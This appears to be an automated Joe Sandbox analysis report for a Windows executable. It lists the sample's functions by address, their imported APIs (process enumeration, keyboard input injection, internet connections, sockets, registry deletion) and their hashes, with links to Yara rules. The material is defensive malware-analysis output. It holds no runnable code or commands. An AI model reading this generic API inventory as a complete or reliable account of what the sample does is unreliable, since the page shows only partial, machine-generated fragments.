GetProcAddress.KERNEL32(?,?,?,00007FF6BB1B7124), ref: 00007FF6BB1B7663

Strings

GetModuleHandleExW, xrefs: 00007FF6BB1B7659
kernel32.dll, xrefs: 00007FF6BB1B7644

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction ID: 57ef6993eb2379d575f597c2d895364e947ac4709ca70cda73a67cf1a0a5464e
Opcode Fuzzy Hash: 9d631b409b72dc16789edb0ad8e091fb1f9f1d2362d8f0f21b849f1d793f88a0
Instruction Fuzzy Hash: 51E01A22906B0692FF148B28E85477823E0FB0CB4CF840439DA1D86374EFBCDAA9D300

Function 00007FF6BB126D1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF6BB126D33
GetProcAddress.KERNEL32 ref: 00007FF6BB126D4B

Strings

Wow64RevertWow64FsRedirection, xrefs: 00007FF6BB126D41
kernel32.dll, xrefs: 00007FF6BB126D2C

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
Instruction ID: c79bc57a58fda16b84bf94d10a4b272dfa0d57c09cabe5e05e64c1cb3f456f52
Opcode Fuzzy Hash: f93d3ff0ce366ab95d7e6c8a1355595afc9dd02f208f5495b2fec8b10b31cda7
Instruction Fuzzy Hash: 02E0C921905B0A92EB159B18E4543A823A0BB0CB4CF540434CA5D853B4EF7CD694C200

Function 00007FF6BB1C10C8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF6BB1BFCA6), ref: 00007FF6BB1C10DF
GetProcAddress.KERNEL32(?,?,?,00007FF6BB1BFCA6), ref: 00007FF6BB1C10F7

Strings

RegDeleteKeyExW, xrefs: 00007FF6BB1C10ED
advapi32.dll, xrefs: 00007FF6BB1C10D8

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
Instruction ID: 5453187bf35054e32ad268a4591600c06ad48f691510772e14eb14393d9ece53
Opcode Fuzzy Hash: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
Instruction Fuzzy Hash: 0AE0E526A06B06D2FF14CB28E45436823A0FB0DB5DF480435CA1D8A374EFBCD6A9C340

Function 00007FF6BB126D64 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF6BB126490), ref: 00007FF6BB126D7B
GetProcAddress.KERNEL32(?,?,?,00007FF6BB126490), ref: 00007FF6BB126D93

Strings

Wow64DisableWow64FsRedirection, xrefs: 00007FF6BB126D89
kernel32.dll, xrefs: 00007FF6BB126D74

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
Instruction ID: ff2363399d53341a53852030347561bf09aff6201aece978eba77daab9980d99
Opcode Fuzzy Hash: 0d692eaeaee984e821757872aa743bf672a5f4ffbc2c7638c6bb6d49df66a179
Instruction Fuzzy Hash: BBE0C961906F0A92EB149F19E45436823A5BB0CB4CF540435CA5D853A0EF7CE694C240

Function 00007FF6BB18B7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction ID: b54b6577f607a11c2ab33d4551d282ce6759bba3cd0910eb5d0907fc6b618699
Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction Fuzzy Hash: ACD1E776B04B56C6EB148F2AC8502AD37B1FB88F88B518426DF4D97B68DF3AD844C350

Function 00007FF6BB1B79D8 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF6BB1B7A72

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 9575b81051ec9d4a2dbca7109e0a5d23717368d5fc25d1fd70a1261be0fad00e
Instruction ID: bdda5b954616c4ddeb81193765dc2c94a84b48b0cbb924d4fd3f6e232117005a
Opcode Fuzzy Hash: 9575b81051ec9d4a2dbca7109e0a5d23717368d5fc25d1fd70a1261be0fad00e
Instruction Fuzzy Hash: 2BD11766B05B419AEB10DBA9D4801EC37B5FB4878CB404476DF0D97BA9DF38E52AC390

Function 00007FF6BB1BEB34 Relevance: 6.2, APIs: 4, Instructions: 156processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6BB1BEB92
Process32FirstW.KERNEL32 ref: 00007FF6BB1BEBA2
Process32NextW.KERNEL32 ref: 00007FF6BB1BEC9D
CloseHandle.KERNEL32 ref: 00007FF6BB1BECAE

Part of subcall function 00007FF6BB141AD0: CompareStringW.KERNEL32 ref: 00007FF6BB141B1F

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32
String ID:
API String ID: 2000298826-0
Opcode ID: 90d909655ab241022c9b784620f036ea9c35f14059951acd95b4bc1f42379d84
Instruction ID: 108c20441d40a7ce7b6f77750001a69c2a4d6e8f8839d79f6bbd73ea58712b6f
Opcode Fuzzy Hash: 90d909655ab241022c9b784620f036ea9c35f14059951acd95b4bc1f42379d84
Instruction Fuzzy Hash: 51715E36A18B8186E710EB29E4443AE77A1FB89B88F404136EF4D87B69DF7CD545C740

Function 00007FF6BB1CD88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,00007FF6BB1ABCA6), ref: 00007FF6BB1CD91A
ScreenToClient.USER32 ref: 00007FF6BB1CD947
MoveWindow.USER32 ref: 00007FF6BB1CD9C5
SendMessageW.USER32 ref: 00007FF6BB1CDA2D

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Window$ClientMessageMoveRectScreenSend
String ID:
API String ID: 1249313431-0
Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction ID: 9fa09a2c12ab4851dc003757697926e1f3bb18fc36bedcefde1a04949badd117
Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction Fuzzy Hash: 7C516E36A04A528AEB508F29D4806BD3761FB88B9CF514136DF2DD77A8DF79E881C700

Function 00007FF6BB19BAB8 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF6BB19BB6F
GetLastError.KERNEL32 ref: 00007FF6BB19BB7E
CreateDirectoryW.KERNEL32 ref: 00007FF6BB19BB8E
CreateDirectoryW.KERNEL32 ref: 00007FF6BB19BC27

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction ID: bb66d1657479ef7b47be985a0b2498db539812da43ad665fd7887f502c47cbbb
Opcode Fuzzy Hash: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction Fuzzy Hash: CE51FD22B05A5185EF508F6AD9400AD23B5FB48B98B948135DF9DA3BA9DF3CD942C300

Function 00007FF6BB1B43C8 Relevance: 6.1, APIs: 4, Instructions: 126networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF6BB1B4414
WSAGetLastError.WSOCK32 ref: 00007FF6BB1B4423
#21.WSOCK32 ref: 00007FF6BB1B44AD
WSAGetLastError.WSOCK32 ref: 00007FF6BB1B44B7

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction ID: 431c09a2cd3930bcdc99b8eaf464cef265f15f1454af708f697d16650144a0db
Opcode Fuzzy Hash: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction Fuzzy Hash: D941906170868286EB24AF1AE41067E6790BB8DFE8F444534DF5E9BBB6CF3CD0118740

Function 00007FF6BB1A5DA4 Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32 ref: 00007FF6BB1A5E75
GetLastError.KERNEL32 ref: 00007FF6BB1A5E98
DeleteFileW.KERNEL32 ref: 00007FF6BB1A5EC1
CreateHardLinkW.KERNEL32 ref: 00007FF6BB1A5EFA

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction ID: df55c988f46a6e06beedc936545522565c76be523ed4245d37d07ed649e69b9a
Opcode Fuzzy Hash: f222de675bb5cfeccc39e8564db9bf58fcd79be7e0b29fca596ca30ba57e565e
Instruction Fuzzy Hash: 5741C666A08B8681DB14DF2AD49106D77A0FB8DFD8B489432DF5E87776DE38E4448740

Function 00007FF6BB1CF014 Relevance: 6.1, APIs: 4, Instructions: 107windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(00000000,?,?,?,?,00007FF6BB1D0BC9), ref: 00007FF6BB1CF054
GetWindowRect.USER32(?,?,?,?,00007FF6BB1D0BC9), ref: 00007FF6BB1CF0E3
PtInRect.USER32 ref: 00007FF6BB1CF0F3
MessageBeep.USER32(?,?,?,?,00007FF6BB1D0BC9), ref: 00007FF6BB1CF165

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction ID: 839b2814c6992124b0a5371b8b2130d153050f75223d5248793c63b9c8042d2f
Opcode Fuzzy Hash: 2f09a68d55c04cb191ca289c596e56cd55ceee8682779a4dba9d7602fe5484e5
Instruction Fuzzy Hash: 7E416C36A08A56C6EA50CF1DD88567937A0FB88B98F655136DB5DC73B0DF39E8498300

Function 00007FF6BB1CAA04 Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF6BB1CAAF2
IsMenu.USER32 ref: 00007FF6BB1CAB10
InsertMenuItemW.USER32 ref: 00007FF6BB1CAB61
DrawMenuBar.USER32 ref: 00007FF6BB1CAB76

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert
String ID:
API String ID: 3076010158-0
Opcode ID: dc6c68aad8de4ec1ea0eac338f153197ea768d30efaa3fb996dae5153308a6de
Instruction ID: 60ed1c730fe643238cd45c06c24ddc3aa43fd7a35948651600ad01ff5fa5a596
Opcode Fuzzy Hash: dc6c68aad8de4ec1ea0eac338f153197ea768d30efaa3fb996dae5153308a6de
Instruction Fuzzy Hash: 6B416836B15B458AEB64CF6AD4406AD37A1FB48B98F244036CF0D97768CF38E895C740

Function 00007FF6BB198B38 Relevance: 6.1, APIs: 4, Instructions: 96keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF6BB198B98
SetKeyboardState.USER32 ref: 00007FF6BB198BB0
PostMessageW.USER32 ref: 00007FF6BB198C21
SendInput.USER32 ref: 00007FF6BB198C80

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
Instruction ID: e70b61de81ef8b5f2d7b290ef75c844f4c0f4f069d829b5c12e70edb83703bbe
Opcode Fuzzy Hash: 56c9a0b6ee225f986b8f36bfa830b7f851ce703ec5b55e2ab927aaea8bed82d2
Instruction Fuzzy Hash: 1B41D961A0D6C281F7308B29D450AB926A0FB48BD8F541531EBDA536F6CE3CD483C740

Function 00007FF6BB198CAC Relevance: 6.1, APIs: 4, Instructions: 89keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF6BB198D11
SetKeyboardState.USER32 ref: 00007FF6BB198D29
PostMessageW.USER32 ref: 00007FF6BB198D89
SendInput.USER32 ref: 00007FF6BB198DEC

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
Instruction ID: f497ecb5aa73fe3474b6e93aa384c6eee0b4db941b3b067d229604e9d31be2c4
Opcode Fuzzy Hash: 5e46c45bdab3a47586a9f1d6f3cf12586a4e74534b52d5ecd50e7167bd5190cf
Instruction Fuzzy Hash: 6531A062A086C146EB708B29E4006B92BE4FB5CF98F550135DBD9837A6CE3DD552C750

Function 00007FF6BB1AD7DC Relevance: 6.1, APIs: 4, Instructions: 82networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 00007FF6BB1AD843

Part of subcall function 00007FF6BB1AD914: InternetOpenUrlW.WININET ref: 00007FF6BB1AD954
Part of subcall function 00007FF6BB1AD914: InternetCloseHandle.WININET ref: 00007FF6BB1ADA38

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: Internet$CloseConnectHandleOpen
String ID:
API String ID: 1463438336-0
Opcode ID: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction ID: 9b61491b61321f7258ec4ccf4102aa0a0f1afa873681e8599a925daef8ae00e6
Opcode Fuzzy Hash: 9c6a6dce98b363ecdfbcced4837c14e9bd6a16cec9fa7559d6c8d26d8fbc25c1
Instruction Fuzzy Hash: 43316C72A08B4282EB24DB1AE450769A361FB4DB98F244135DF5D87B68DF2CE4588F40

Function 00007FF6BB163D98 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6BB15A27B,?,?,?,00007FF6BB15A236), ref: 00007FF6BB163DB1
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6BB15A27B,?,?,?,00007FF6BB15A236), ref: 00007FF6BB163E13
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6BB15A27B,?,?,?,00007FF6BB15A236), ref: 00007FF6BB163E4D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6BB15A27B,?,?,?,00007FF6BB15A236), ref: 00007FF6BB163E77

Memory Dump Source

Source File: 00000000.00000002.1692510361.00007FF6BB121000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BB120000, based on PE: true

Associated: 00000000.00000002.1692492538.00007FF6BB120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1D5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692610417.00007FF6BB1F8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692725660.00007FF6BB20A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692742807.00007FF6BB214000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6bb120000_T6l6gPxwQU.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction ID: 37f0cd554821a45c2e652f62d48f18401707788921f47d17bea792cf18178df5
Opcode Fuzzy Hash: 01582a1cc1afdad6e1d5985337141992fa687edcd13d7850452916e3cfeba0bf
Instruction Fuzzy Hash: AC213E31F1879181EA209F1EB44002AB6A5FB98FD4B584135DB9EA3BE4DF3CE452C704

Function 00007FF6BB1CF8A8 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetWindowLongPtrW.USER32 ref: 00007FF6BB1CF90E
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF6BB1ACD60), ref: 00007FF6BB1CF937
SetWindowLongPtrW.USER32(?,?,?,?,?,?,?,00007FF6BB1ACD60), ref: 00007FF6BB1CF952
